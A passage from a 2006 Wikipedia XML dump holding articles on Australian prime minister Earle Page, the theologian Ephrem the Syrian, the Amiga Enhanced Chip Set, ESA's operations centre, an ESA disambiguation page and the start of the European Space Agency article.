'''Earle Christmas Grafton Page''' ([[August 8]] [[1880]]&amp;ndash;[[December 20]] [[1961]]), [[Australia]]n politician, was the eleventh [[Prime Minister of Australia]]. 

Born in [[Grafton, New South Wales]], he was educated at state schools and the [[University of Sydney]], where he graduated in medicine at the top of his year in [[1901]]. He practised in [[Sydney]] and Grafton before joining the [[Australian Army]] as a medical officer in the [[World War I|First World War]], serving in [[Egypt]]. After the war he went into farming and was elected Mayor of Grafton.

In [[1919]] Page was elected to the [[Australian House of Representatives]] as MP for [[Division of Cowper|Cowper]] as a candidate of the Farmers and Settlers Association of New South Wales, which in [[1920]] became the [[National Party of Australia|Country Party]]. He became the party's leader in [[1921]]. Dislike of the [[Billy Hughes|Hughes]] government's rural policies was one of the reasons the Country Party was formed, and when the party won the balance of power in the House at the [[1922]] elections, Page demanded and got Hughes's resignation as the price for supporting the [[Nationalist Party of Australia|Nationalist]] government.

Page then became Treasurer (finance minister) in the [[Stanley Bruce|Bruce]] government, a position he held until [[1929]]. He was a strong believer in orthodox finance and conservative policies, except where the welfare of farmers was concerned: then he was happy to see government money spent freely. He was also a &quot;high protectionist&quot;: a supporter of high tariff barriers to protect Australian rural industries.

When the Bruce government was defeated by Labor in [[1929]], Page went into opposition. In [[1931]] [[Joseph Lyons]] was able to form a [[United Australia Party]] government without Country Party support. In [[1934]], however, the coalition was reformed, and Page became Minister for Commerce. He was knighted in [[1938]]. The title of Deputy Prime Minister did not then exist, but when Lyons died suddenly in [[1939]], it was Page whom the [[Alexander Hore-Ruthven, 1st Earl of Gowrie|Governor-General]] called on to become caretaker Prime Minister. He held the office for three weeks while the UAP elected a new leader.

Page had been very close to Lyons, and he disliked [[Robert Menzies]], Lyons's deputy, on the grounds that Menzies had been disloyal to Lyons. When Menzies was elected UAP leader, Page refused to serve under him, and made an extraordinary personal attack on him in the House. His party soon rebelled, however, and Page was deposed as Country Party leader and replaced by [[Archie Cameron]].

In [[1940]] Page and Menzies patched up their differences for the sake of the war effort, and Page returned to the Cabinet. In [[1941]], however, the government fell and Page spent the eight years of the [[John Curtin|Curtin]] and [[Ben Chifley|Chifley]] Labor governments on the opposition backbench. in [[1949]] Menzies returned to office and Page was made Minister for Health. He held this post until [[1956]], when he was 76, then retired to the backbench.

Page refused to consider retirement from Parliament, even at the [[1961]] election, when he was 81, suffering from [[lung cancer]] and too sick to campaign. In one of the great electoral upsets of Australian history, he lost his seat, which he had held for 42 years - indeed only [[William Morris Hughes|Billy Hughes]] served longer as a member of the Australian Parliament. He died a few days later, without knowing he had been defeated.

His grandson [[Don Page]] is currently a National MP in the NSW Parliament.
==See also==

*[[Page Ministry]]


==External links==

* [http://primeministers.naa.gov.au/meetpm.asp?pmId=11 Earle Page] - Australia's Prime Ministers / National Archives of Australia

{{start box}}
{{succession box | title=[[National Party of Australia|Leader of the Country Party]] | before=None | after=[[Archie Cameron]] | years=1921&amp;ndash;1939}}
{{succession box | title=[[Treasurer of Australia]] | before=[[Stanley Bruce]] | after=[[Ted Theodore|E G Theodore]] | years=1923&amp;ndash;1929}}
{{succession box | title=[[Prime Minister of Australia]] | before=[[Joseph Lyons]] | after=[[Robert Menzies]] | years=1939}}
{{succession box | title=[[Australian Minister for Health|Minister for Health]] | before=[[Billy Hughes]]| after= [[Hattil Foll]]| years=1937&amp;ndash;1938}}
{{succession box | title=[[Australian Minister for Health|Minister for Health]] | before=[[Nicholas McKenna]]| after= [[Donald Alastair Cameron|Donald Cameron]]| years=1949&amp;ndash;1958}}
{{end box}}

{{start box}}
{{succession box | title=[[List of longest-serving members of the Australian House of Representatives|Father of the House]] | before=[[Billy Hughes]] | after=[[Eddie Ward]] | years=1952&amp;ndash;1961}}
{{end box}}

{{AustraliaPM}}

[[Category:1880 births|Page, Earle]]
[[Category:1961 deaths|Page, Earle]]
[[Category:Prime Ministers of Australia|Page, Earle]]
[[Category:National Party of Australia politicians|Page, Earle]]
[[Category:Members of the Cabinet of Australia|Page, Earle]]</text>
    </revision>
  </page>
  <page>
    <title>Ephrem the Syrian</title>
    <id>10358</id>
    <revision>
      <id>37256211</id>
      <timestamp>2006-01-29T20:53:14Z</timestamp>
      <contributor>
        <username>LukasPietsch</username>
        <id>616237</id>
      </contributor>
      <minor />
      <comment>Greek name polytonic</comment>
      <text xml:space="preserve">'''Ephrem the Syrian''' ({{lang-syr|&amp;#1808;&amp;#1830;&amp;#1834;&amp;#1821;&amp;#1825; &amp;#1827;&amp;#1816;&amp;#1834;&amp;#1821;&amp;#1821;&amp;#1808;}}, ''{{unicode|Ap̄rêm Sûryāyâ}}'';[[Greek language|Greek]]: {{polytonic|Ἐφραίμ ὁ Σῦρος}}; [[Latin]]: Ephraem Syrus; ''c.''[[306]]–[[373]]) was a deacon, prolific [[Syriac language]] [[hymn]] writer and [[theologian]] of the [[4th century]]. He is venerated by [[Christianity|Christians]] throughout the world, and especially among [[Syriac Christianity|Syriac Christians]], as a [[saint]]. Ephrem wrote a wide variety of [[hymn]]s, [[poem]]s and [[sermon|homilies]] in [[verse]], as well as [[prose]] [[biblical exegesis|biblical commentaries]]. These were works of practical [[theology]] for the edification of the church in troubled times. So popular were his works, that, for centuries after his death, Christian authors wrote hundreds of [[pseudepigraphy|pseudepigraphous]] works in his name. Ephrem's works witness to an early, vibrant expression of Christian faith, little touched by the European modes of thought, and more engaged with eastern methods of discourse.

== Life ==
[[Image:Mar Jacob Church, Nisibis.jpg|300px|thumb|right|The newly excavated Church of [[Jacob of Nisibis|Saint Jacob]] in [[Nisibis]], where Ephrem taught and ministered.]]
Ephrem was born around the year [[306]], in the city of [[Nisibis]] (the modern [[Turkey|Turkish]] town of Nusaybin, on the border with [[Syria]]). Internal evidence from Ephrem's hymnody suggests that both his parents were part of the growing Christian community in the city, although later hagiographers wrote that his father was a pagan priest. Numerous languages were spoken in the Nisibis of Ephrem's day, mostly dialects of [[Aramaic language|Aramaic]]. The Christian community used the [[Syriac language|Syriac dialect]]. Various pagan religions, [[Judaism]] and early Christian sects vied with one another for the hearts and minds of the populace. It was a time of great religious and political tension. The Roman Emperor, [[Diocletian]] had signed a treaty with his [[Persian Empire|Persia]]n counterpart, [[Narseh of Persia|Nerses]] in [[298]] that transferred Nisibis into Roman hands. The savage persecution and martyrdom of Christians under Diocletian were an important part of Nisibene church heritage as Ephrem grew up.

[[Jacob of Nisibis|Jacob]], the first [[bishop]] of Nisibis was appointed in [[308]], and Ephrem grew up under his leadership of the community. Jacob of Nisibis is recorded as a signatory at the [[First Council of Nicea]] in [[325]]. Ephrem was baptized as a youth, and almost certainly became a [[members of the covenant|son of the covenant]], an unusual form of Syrian proto-[[monasticism]]. Jacob appointed Ephrem as a teacher (Syriac ''{{unicode|malp̄ānâ}}'', a title that still carries great respect for Syriac Christians). He was ordained as a [[deacon]] either at his baptism or later. He began to compose hymns and write biblical commentaries as part of his educational office. In his hymns, he sometimes refers to himself as a 'herdsman' (''`allānâ''), to his bishop as the 'shepherd' (''rā`yâ'') and his community as a 'fold' (''dayrâ''). Ephrem is popularly credited as the founder of the [[School of Nisibis]], which in later centuries was the centre of learning of the [[Church of the East]].

In [[337]], Emperor [[Constantine I (emperor)|Constantine I]], who had legalised and promoted the practice of Christianity in the Roman Empire, died. Seizing on this opportunity, [[Shapur II of Persia]] began a series of attacks into Roman North [[Mesopotamia]]. Nisibis was besieged in [[338]], [[346]] and [[350]]. During the first siege, Ephrem credits Bishop Jacob as defending the city with his prayers. Ephrem's beloved bishop died soon after the event, and Babu led the church through the turbulent times of border skirmishes. In the third siege, of 350, Shapur rerouted the River Mygdonius to undermine the walls of Nisibis. The Nisibenes quickly repaired the walls while the Persian elephant cavalry became bogged down in the wet ground. Ephrem celebrated what he saw as the miraculous salvation of the city in a hymn which portrayed Nisibis as being like [[Noah's Ark]], floating to safety on the flood.
[[Image:Nisibis Church interior.jpg|thumb|300px|left|The interior of the Church of [[Jacob of Nisibis|Saint Jacob]] in [[Nisibis]].]]
One important physical link to Ephrem's lifetime is the [[baptistery]] of Nisibis. The inscription tells that it was constructed under Bishop Vologeses in [[359]]. That was the year that Shapur began to harry the region once again. The cities around Nisibis were destroyed one by one, and their citizens killed or deported. The Roman Empire was preoccupied in the west, and [[Constantius]] and [[Julian the Apostate|Julian]], struggled for overall control. Eventually, with Constantius dead, Julian the Apostate began his march into Mesopotamia. He brought with him his increasingly stringent persecutions of Christians. Julian began a foolhardy march against the Persian capital, [[Ctesiphon]], where, overstretched and outnumbered, he was forced into an immediate retreat back along the same road. Julian was killed defending his retreat, and the army elected [[Jovian]] as the new emperor. Unlike his predecessor, Jovian was a Nicene Christian. He was forced by circumstances to ask for terms from Shapur, and conceded Nisibis to Persia, with the provision that the city's Christian community would leave. Bishop Abraham, the successor to Vologeses, led his people into exile.

Ephrem found himself among a large group of refugees that fled west, first to Amida ([[Diyarbakır]]), and eventually settling in [[Edessa, Mesopotamia|Edessa]] (modern [[Şanlıurfa]]) in [[363]]. Ephrem, in his late fifties, applied himself to ministry in his new church, and seems to have continued his work as a teacher, perhaps in the [[School of Edessa]]. Edessa had always been at the heart of the Syriac-speaking world and the city was full of rival philosophies and religions. Ephrem comments that orthodox Nicene Christians were simply called 'Palutians' in Edessa, after a former bishop. [[Arianism|Arians]], [[Marcionism|Marcionites]], [[Manichaeism|Manichees]], [[Bardaisan]]ites and various [[Gnosticism|Gnostic sects]] proclaimed themselves as the true church. In this confusion, Ephrem wrote a great number of hymns defending Nicene orthodoxy. A later Syriac writer, [[Jacob of Serugh]], wrote that Ephrem rehearsed all-female choirs to sing his hymns set to Syriac folk tunes in the forum of Edessa. After a ten-year residency in Edessa, in his sixties, Ephrem succumbed to the plague as he ministered to its victims. The most reliable date for his death is [[9 June]] [[373]].

== Writings ==

Over four hundred [[hymn]]s composed by Ephrem still exist. Granted that some have been lost, Ephrem's productivity is not in doubt. The church historian [[Sozomen]] credits Ephrem with having written over three million lines. Ephrem combines in his writing a threefold heritage: he draws on the models and methods of early [[Rabbinic Judaism]], he engages skillfully with Greek science and philosophy, and he delights in the Mesopotamian/Persian tradition of mystery symbolism.

The most important of his works are his lyric, teaching hymns (''madrāšê''). These hymns are full of rich imagery drawn from biblical sources, folk tradition, and other religions and philosophies. The madrāšê are written in stanzas of [[syllabic verse]], and employ over fifty different metrical schemes. Each madrāšâ had its ''qālâ'', a traditional tune identified by its opening line. All of these qālê are now lost. It seems that [[Bardaisan]] and [[Mani (prophet)|Mani]] composed madrāšê, and Ephrem felt that the medium was a suitable tool to use against their claims. The madrāšê are gathered into various hymn cycles. Each group has a title — ''Carmina Nisibena'', ''On Faith'', ''On Paradise'', ''On Virginity'', ''Against Heresies'' — but some of these titles do not do justice to the entirety of the collection (for instance, only the first half of the Carmina Nisibena is about Nisibis). Each madrāšâ usually had a refrain (''{{unicode|`unîṯâ}}''), which was repeated after each stanza. Later writers have suggested that the madrāšê were sung by all women choirs with an accompanying lyre.

Ephrem also wrote verse homilies (''mêmrê''). These sermons in poetry are far fewer in number than the madrāšê. The mêmrê are written in a heptosyllabic [[couplet]]s (pairs of lines of seven syllables each).

The third category of Ephrem's writings is his prose work. He wrote biblical commentaries on the [[Diatessaron]] (the single gospel harmony of the early Syriac church), on [[Genesis]] and [[Exodus]], and on the [[Acts of the Apostles]] and [[Pauline Epistles]]. He also wrote refutations against [[Bardaisan]], Mani, [[Marcion of Sinope|Marcion]] and others.

Ephrem wrote exclusively in the [[Syriac language]], but translations of his writings exist in [[Armenian language|Armenian]], [[Coptic language|Coptic]], [[Georgian language|Georgian]],  [[Greek language|Greek]] and other languages. Some of his works are only extant in translation (particularly in Armenian). Syriac churches still use many of Ephrem's hymns as part of the annual cycle of worship. However, most of these liturgical hymns are edited and conflated versions of the originals.

The most complete, critical text of authentic Ephrem was compiled between [[1955]] and [[1979]] by Dom Edmund Beck OSB as part of the ''Corpus Scriptorum Christianorum Orientalium''.

== 'Greek Ephrem' ==

Ephrem's artful meditations on the symbols of Christian faith and his stand against heresy made him a popular source of inspiration throughout the church. This occurred to the extent that there is a huge corpus of Ephrem [[pseudepigraphy]] and legendary [[hagiography]]. Some of these compositions are in verse, often a version of Ephrem's heptosyllabic couplets. Most of these works are considerably later compositions in Greek. Students of Ephrem often refer to this corpus as having a single, imaginary author called Greek Ephrem or Ephraem Graecus (as opposed to the real Ephrem the Syrian). This is not to say that all texts ascribed to Ephrem in Greek are false, but many are. Although Greek compositions are the main source of pseudepigraphal material, there are also works in [[Latin]], [[Slavonic language|Slavonic]] and [[Arabic language|Arabic]]. There has been very little critical examination of these works, and many are still treasured by churches as authentic.

The most well known of these writings is the ''Prayer of Saint Ephrem'' that is a part of most days of fasting in [[eastern Christianity]]:
&lt;center&gt;O Lord and Master of my life,&lt;br&gt;give me not a spirit of sloth,&lt;br&gt;vain curiosity, lust for power and idle talk,&lt;br&gt;but give to me, your servant,&lt;br&gt;a spirit of soberness, humility, patience and love.&lt;br&gt;O Lord and King,&lt;br&gt;grant me to see my own faults&lt;br&gt;and not to condemn my brother:&lt;br&gt;for you are blessed&lt;br&gt;for ever and ever.&lt;br&gt;Amen.&lt;br&gt;O God, cleanse me, a sinner.&lt;/center&gt; 

== Veneration as a saint ==
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;300&quot; style=&quot;margin-left:1.0em;&quot;
! colspan=&quot;2&quot; bgcolor=&quot;gold&quot; style=&quot;font-size:120%&quot;|'''''Saint Ephrem the Syrian'''''
|-
|align=&quot;center&quot; colspan=&quot;2&quot; |[[Image:Ephrem.jpg|thumb|none|[[Icon]] of Ephrem the Syrian from Meryem Ana Kilesesi, [[Diyarbakır]]]]
|-
|align=&quot;center&quot; colspan=&quot;2&quot; bgcolor=&quot;gold&quot;|'''[[Doctor of the Church]] and Venerable Monk'''
|-
|'''Born'''
|''c.'' [[306]], [[Nisibis]]
|-
|'''Died'''
|[[9 June]] [[373]], [[Edessa, Mesopotamia|Edessa]]
|-
|'''Venerated in'''
|All [[Christianity]], especially [[Syriac Christianity]]
|-
|'''Major [[shrine]]'''
|The [[Armenian Apostolic Church|Armenian]] monastery of Der Sarkis ([[Saint Sergius]])
|-
|'''[[Calendar of saints|Feast]]'''
|7th Saturday before Easter ([[Syriac Orthodox Church|Syriac Orthodox]])&lt;br&gt;
[[1 February]] (''Roman Martyrology'')&lt;br&gt;
[[10 February]] ([[Eastern Orthodoxy]])&lt;br&gt;
[[8 June]] ([[Scottish Episcopal Church]])&lt;br&gt;
[[9 June]] ([[Church of England]]&lt;br&gt;
[[9 June]] ([[Roman Catholic Church]])&lt;br&gt;
[[10 June]] ([[Church in Wales]])&lt;br&gt;
[[10 June]] ([[Episcopal Church in the United States of America|Episcopal Church in the USA]])&lt;br&gt;
[[18 June]] ([[Maronite]] Church)&lt;br&gt;
[[18 June]] (former Catholic date)
|-
|'''Attributes'''
|Vine and scroll, deacon's habit and thurible, with [[Basil of Caesarea|St Basil]], composing with a harp
|-
|'''[[Patron saint|Patronage]]'''
|Spiritual directors and spiritual leaders
|-
|colspan=&quot;2&quot;|
:''O Lord, may the works of your herdsman''
::''not be squandered.''
:''I will not then have troubled your sheep,''
::''but as far as I was able,''
:''I will have kept the wolves away from them,''
::''and I will have built, as far as I was capable,''
:''Enclosures of hymns''
::''for the lambs of your flock.''
:''I will have made a disciple''
::''of the simple and unlearned,''
:''And I will have given them a strong hold''
::''on the shepherd's staff,''
:''the healers' medicine,''
::''and the combatants' armour''
&lt;small&gt;Ephrem the Syrian. ''Hymns against Heresy'', LVI.&lt;/small&gt;
|}
Soon after Ephrem's death, legendary accounts of his life began to circulate. One of the earlier 'modifications' is the statement that Ephrem's father was a [[Paganism|pagan]] priest of Abnil or Abizal. However, internal evidence from his authentic writings suggest that he was raised by Christian parents. This legend may be anti-pagan polemic or reflect his father's status prior to converting to Christianity.

The second legend attached to Ephrem is that he was a [[monk]]. In Ephrem's day, monasticism was in its infancy in [[Egypt]]. He seems to have been a part of the ''[[members of the covenant]]'', a close-knit, urban community of Christians that had 'covenanted' themselves to service and [[sexual abstinence|refrained from sexual activity]]. Some of the Syriac terms that Ephrem used to describe his community were later used to describe monastic communities, but the assertion that he was monk is anachronistic. Later hagiographers often painted a picture of Ephrem as an extreme ascetic, but the internal evidence of his authentic writings show him to have had a very active role, both within his church community and through witness to those outside of it. Ephrem is venerated as an example of monastic discipline in [[Eastern Christianity]]. In the [[Eastern Orthodox]] scheme of hagiography, Ephrem is counted as a ''Venerable Monk''.

Ephrem is popularly believed to have taken legendary journeys. In one of these he visits [[Basil of Caesarea]]. This links the Syrian Ephrem with the [[Cappadocian Fathers]], and is an important theological bridge between the spiritual view of the two, who held much in common. Ephrem is also supposed to have visited Anba Bishoi (Pisoes) in the monasteries of the Wadi Natun, Egypt. As with the legendary visit with Basil, this visit is a theological bridge between the origins of monasticism and its spread throughout the church.

On [[5 October]] [[1920]], Pope [[Benedict XV]] proclaimed that Ephrem is a [[Doctor of the Church]]. This proclamation was made before critical editions of Ephrem's authentic writings were available.

The most popular title for Ephrem is ''Harp of the Spirit'' (Syriac {{unicode|Kenārâ d-Rûḥâ}}). He is also referred to as the ''Deacon of Edessa'', the ''Sun of the Syrians'' and a ''Pillar of the Church''.

Today, Saint Ephrem presents an engaging model of Asian Christianity, which might prove a valuable source of theological insight for Christian communities that wish to break out of the European cultural mould. Ephrem also shows that poetry is not only a valid vehicle for theology, but is in many ways superior to philosophical discourse for the purpose of doing theology. He also encourages a way of reading the [[Bible]] that is rooted more in faith than in critical analysis. Ephrem displays a deep sense of the interconnectedness of all created things, which could develop his role in the church into that of a 'saint of ecology'. There are modern studies into Ephrem's view of women that see him as a champion of women in the church. Other studies have focused on the importance of 'healing' imagery in Ephrem. Ephrem, then, confronts the contemporary church as an orthodox saint engaged in a theology that is at once nonwestern, poetic, ecological, feminist, and healing.

== Appendices ==

=== Quotations ===

* ''The greatest poet of the patristic age and, perhaps, the only theologian-poet to rank beside Dante.'' &amp;mdash; Robert Murray.
* ''The boldness of our love is pleasing to you, O Lord, just as it pleased you that we should steal from your bounty.'' &amp;mdash; Ephrem the Syrian, ''Hymns on Faith'' 16:5.

===See also===

* [[Syriac language]]
* [[Syriac Christianity]]
* [[Hymn]]
* [[List of Syriacs]]

=== References ===

* Brock, Sebastian P (1985). ''The luminous eye: the spiritual world vision of Saint Ephrem''. Cistercian Publications. ISBN 0-87907-624-0.
* Brock, Sebastian (trans) (1990). ''Hymns on paradise: St. Ephrem the Syrian''. St Vladimir's Seminary Press, Crestwood, New York. ISBN 0-88141-076-4.
* Griffith, Sidney H (1997). ''Faith adoring the mystery: reading the Bible with St. Ephraem the Syrian''. Marquette University Press, Milwaukee, Wisconsin. ISBN 0-87462-577-7.
* Matthews, Edward G and Joseph P Amar (trans), Kathleen McVey (ed) (1994). ''Saint Ephrem the Syrian: selected prose works''. Catholic University of America Press. ISBN 0-8132-0091-1.
* McVey, Kathleen E (trans) (1989). ''Ephrem the Syrian: hymns''. Paulist Press. ISBN 0-8091-3093-9.

=== External links ===

* [http://sor.cua.edu/Personage/MEphrem/ ''Margonitho'': Mor Ephrem the Syrian]
* [http://tserkovnost.org/stephrem/ ''Saint Ephrem the Syrian Library'']
* [http://www.anastasis.org.uk/ephrem.htm ''Anastasis'' article]
* [http://syrcom.cua.edu/Hugoye/Vol1No2/index.html ''Hugoye'': Influence of Saint Ephraim the Syrian, part 1]
* [http://syrcom.cua.edu/Hugoye/Vol2No1/index.html ''Hugoye'': Influence of Saint Ephraim the Syrian, part 2]
* [http://www.newadvent.org/cathen/05498a.htm ''Catholic Encyclopedia'': Saint Ephraem]
* [http://87.1911encyclopedia.org/E/EP/EPHRAEM_SYRUS.htm ''Encyclopaedia Britannica'' 1911: &quot;Ephraem Syrus&quot;]
* [http://www.theandros.com/ephraem.html St. Ephraem 'Faith Adoring the Mystery']

[[Category:Church Fathers]]
[[Category:300s births]]
[[Category:373 deaths]]
[[Category:Christian writers]]
[[Category:Saints]]
[[Category:Ancient Roman Christianity]]
[[Category:Late Antiquity]]
[[Category:Doctors of the Church]]
[[Category:306 births|Ephrem the Syrian]]
[[Category:373 deaths|Ephrem the Syrian]]
[[Category:Syriacs]]

[[de:Ephräm der Syrer]]
[[fr:Éphrème le Syrien]]
[[ko:에브라임 시리아]]
[[hu:Szíriai Szent Efrém]]
[[ja:エフレム]]
[[ru:Ефрем Сирин]]
[[fi:Efraim Syyrialainen]]</text>
    </revision>
  </page>
  <page>
    <title>Enhanced Chip Set</title>
    <id>10359</id>
    <revision>
      <id>41093149</id>
      <timestamp>2006-02-25T00:20:48Z</timestamp>
      <contributor>
        <ip>87.249.58.61</ip>
      </contributor>
      <text xml:space="preserve">'''Enhanced Chip Set''' ('''ECS''') is the name used for the enhanced version of the [[Amiga]] [[computer]]'s original chipset ([[Original Amiga chipset|OCS]]). ECS was introduced in [[1990]] debuting in the [[A3000|Amiga 3000]]. Amigas produced from 1990 onwards featured a mix of OCS and ECS chips, or even a full Enhanced Chipset. In [[1991]] ECS was officially introduced to the low end Amigas with the introduction of the [[A500plus|A500 Plus]]. The last Amiga to use ECS was the [[A600|Amiga 600]].

ECS included the improved ''[[Super Agnus]]'' (with support for 2 MB of [[CHIP RAM]]) and ''[[Super Denise]]'' chips.  Other additional features include:

* Support for ''Productivity'' (640x480 noninterlaced) and ''SuperHires'' (1280x200 or 1280x256) display modes, which were however limited to only 4 colors.
* Ability of the blitter to copy regions larger than 1024x1024 pixels in one operation.
* Ability to display sprites in border regions (outside of any display window where bitplanes are shown).

It was followed by the [[Advanced Graphics Architecture|AGA]] chipset.

[[Category:Commodore Amiga]]

[[de:ECS]]
[[es:ECS]]
[[pl:ECS (informatyka)]]
[[ru:ECS]]</text>
    </revision>
  </page>
  <page>
    <title>European Space Operations Centre</title>
    <id>10361</id>
    <revision>
      <id>42068332</id>
      <timestamp>2006-03-03T16:24:36Z</timestamp>
      <contributor>
        <username>Bomble</username>
        <id>213566</id>
      </contributor>
      <text xml:space="preserve">[[Image:Darmstadt ESOC-Gebaeude.jpg|thumb|200px|Centre in Darmstadt, Germany]] 

The '''European Space Operations Centre''' ('''ESOC''') is responsible for controlling [[European Space Agency|ESA]] [[satellite]]s and [[space probe]]s. The centre is located in [[Darmstadt]], [[Germany]]. It is Mission Control for most of the space projects of the ESA. ESOC also houses the Ground Facilities Control Centre (GFCC) that is responsible for remote operation of the [[ESTRACK]] network of Ground Stations and antennas.

The last important projects that were launched and controlled from ESOC were Smart-1, [[Mars Express]] (MEX), [[Venus Express]] (VEX), [[Rosetta_space_probe|Rosetta]], [[Cassini-Huygens|Huygens]].

Recently controlled through [[LEOP]], and then handed over to [[EUMETSAT]] was MSG-2.

Currently ESOC is operating the following satellites: Envisat, ERS-2, Integral, XMM-Newton, Rosetta, Mars Express, Venus Express, Smart-1 and Cluster. 

Projects under preparations include: Metop, [[GOCE]], [[LISA_Pathfinder|LISA Pathfinder]], Aeolus and Herschel-Planck

This branch of the agency is also responsible for the development of the technology infrastructure it requires to support existing and planned missions. Arguably its most important technology asset is the Space Control and Operations Software ('''SCOS-2000'''), an adaptable software infrastructure for monitoring and controlling the various spacecraft. 

==External links==
* [http://www.esa.int/esoc Welcome to the ESOC Home Page]

{{space-stub}}
[[Category:European Space Agency]]

[[de:Europäisches Raumflugkontrollzentrum]]
[[fr:European Space Operations Centre]]
[[it:European Space Operations Centre]]
[[pl:Europejskie Centrum Operacji Kosmicznych]]</text>
    </revision>
  </page>
  <page>
    <title>ESA (disambiguation)</title>
    <id>10362</id>
    <revision>
      <id>41188281</id>
      <timestamp>2006-02-25T17:28:22Z</timestamp>
      <contributor>
        <username>Alinor</username>
        <id>134350</id>
      </contributor>
      <comment>moving link from [[ESA]] redirect</comment>
      <text xml:space="preserve">'''ESA''' is a [[TLA]] that can stand for
* [[European Space Agency]]
* [[Entertainment Software Association]]
* [[Ecological Society of America]]
* [[electrostatic self-assembly]]
* [[Epsilon Sigma Alpha]] International, a women's service organization.
* [[Endangered Species Act]], an important piece of US environmental legislation.
* [[Environmental Site Assessment]]
* [[EFTA Surveillance Authority ]]
* [[Evangelicals for Social Action]]
* [[Entomological Society of America]]
* The &quot;end of selected area&quot; control code in the [[C1 control code set]].
* [[Excited-state absoption]] 
{{TLAdisambig}}

[[Category:Abbreviations|ESA]]

[[fi:ESA]]</text>
    </revision>
  </page>
  <page>
    <title>European Space Agency</title>
    <id>10363</id>
    <revision>
      <id>42033838</id>
      <timestamp>2006-03-03T09:50:28Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Pole]] to [[Poles]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">:''This article is about the European Space Agency. For other meanings of ESA, see [[ESA (disambiguation)]].''

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|[[Image:Logo ESA.png|155px|right|Logo of the European Space Agency]]
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The '''European Space Agency''' ('''ESA'''), established in [[1975]],is an [[inter-governmental]] organisation dedicated to [[Space exploration|exploration of space]] with currently 17 member states. Its [[headquarters]] are in [[Paris]], [[France]]. ESA has a staff (excluding sub-contractors and national space agencies) of about 1900 with a budget of about €3 billion in [[2006]].

ESA's [[spaceport]] is the [[Centre Spatial Guyanais|Guiana Space Centre]] in [[Kourou]], [[French Guiana]], a site chosen because it is close to the [[equator]] from which commercially important orbits are easier to access. During the era of [[Ariane 4]] ESA gained the position of market leader in commercial space launches and in recent years ESA has established itself as the major competitor of [[NASA]] in space exploration.

ESA science missions are based at [[ESTEC]] in [[Noordwijk]], [[Netherlands]], Earth Observation missions at [[ESRIN]] in [[Frascati]], [[Italy]], ESA Mission Control ([[European Space Operations Centre|ESOC]]) is in [[Darmstadt]], [[Germany]], and  the European Astronauts Centre ([[European Astronauts Centre|EAC]]), that trains astronauts for future missions is situated in [[Cologne]], [[Germany]].

==History and goals==
* [http://www.esa.int/esapub/sp/sp1235/sp1235v1web.pdf European Space Agency History 1958-1987 Volume I 458 pages PDF]
* [http://www.esa.int/esapub/sp/sp1235/sp1235v2web.pdf European Space Agency History 1958-1987 Volume II 691 pages PDF]

===ESA's mission===
Since the [[Cold War]] ended with the fall of the [[Soviet Union]]'s &quot;[[iron curtain]],&quot; [[space agency|space agencies]] around the world had to refocus and revise their visions and goals. In an interview with [[JAXA]], the Japanese Space Agency, [[Jean-Jacques Dordain]] ESA's Director General (since 2003) outlined briefly the European Space agency's mission:

&lt;blockquote&gt;''Today space activities are pursued for the benefit of citizens, and citizens are asking for a better quality of life on earth. They want greater security and economic wealth, but they also want to pursue their dreams, to increase their knowledge, and they want younger people to be attracted to the pursuit of science and technology.''&lt;/blockquote&gt;

&lt;blockquote&gt;''I think that space can do all of this: it can produce a higher quality of life, better security, more economic wealth, and also fulfil our citizens' dreams and thirst for knowledge, and attract the young generation. This is the reason space exploration is an integral part of overall space activities. It has always been so, and it will be even more important in the future.'' {{ref|Jaxainterview}}&lt;/blockquote&gt;

===History of ESA's foundation===
[[image:1pierre auger.gif|thumb|right|220px|Pierre Auger, one of the ideological founders of the European Space Agency]]

After the [[World War II|Second World War]] many European scientists had left Europe in order to work either in the US or the Soviet Union. Although the booming recovering process of the 50s made it possible for European countries to invest into research and specifically into space related activities, European scientists realised solely national projects would not be able to compete with the two major superpowers. In [[1958]], only months after the [[Sputnik crisis|Sputnik shock]], [[Edoardo Amaldi]] and [[Pierre Auger]], two prominent members of the European scientific community at that time, met to discuss the foundation of a common European space agency.

The European nations decided to have two different agencies, one concerned to develop a launch system [[ELDO]] (European Launch Development Organisation) and the precursor of the European Space Agency, [[ESRO]] (European Space Research Organisation) that was established on [[March 20]], [[1964]] per an agreement signed on [[June 14]], [[1962]]. From [[1968]] to [[1972]] ESRO could celebrate its first successes. Seven research satellites were brought into orbit, all by US launch systems. 

The ESRO's successor organisation [[ESTEC]] (European Space Research and Technology Centre, based in [[Noordwijk]], [[Netherlands|the Netherlands]]) is still a part of ESA, though ESA itself is a much bigger organisation today. ESA in its current form was founded in [[1974]], when ESRO was merged with [[ELDO]]. ESA was constituted of 11 founding members including not only then EU-members (correctly stated: EC-members) but also [[Switzerland]] and [[Norway]]. ESA launched its first major scientific mission in [[1975]], [[Cos-B]] a space probe monitoring gamma-ray emissions in the universe.

===From its beginnings to a leading institution===
[[image:1geos esa.jpg|thumb|left|260px|GEOS-ESA, a satellite studying the Earth's magnetosphere, launched 1977, an example of early ESA space research activity]]

Beginning in the [[1970s]], when the [[space race]] between the US and the Soviet Union had tuned down and space budgets were cut dramatically in both [[superpower]]s, ESA established itself as a forerunner in space exploration.  ESA joined NASA and the UK in the [[International Ultraviolet Explorer|IUE]], the world's first high-orbit [[telescope]], which was launched in 1978 and operated very successfully for 18 years. A number of successful Earth-orbit projects followed, and in [[1986]] ESA began [[Giotto mission|Giotto]], its first deep-space mission, to study the Comets Halley and Grigg-Skejllerup. [[Hipparcos]], a star-mapping mission, was launched in [[1989]] and in the [[1990s]] [[Solar and Heliospheric Observatory|SOHO]], [[Ulysses probe|Ulysses]] and the [[Hubble Space Telescope]] were all jointly carried out with NASA. Recent scientific missions in cooperation with NASA include the [[Cassini-Huygens]] space probe, to which ESA contributed by building the [[Titan (moon)|Titan]] landing module [[Huygens]]. 

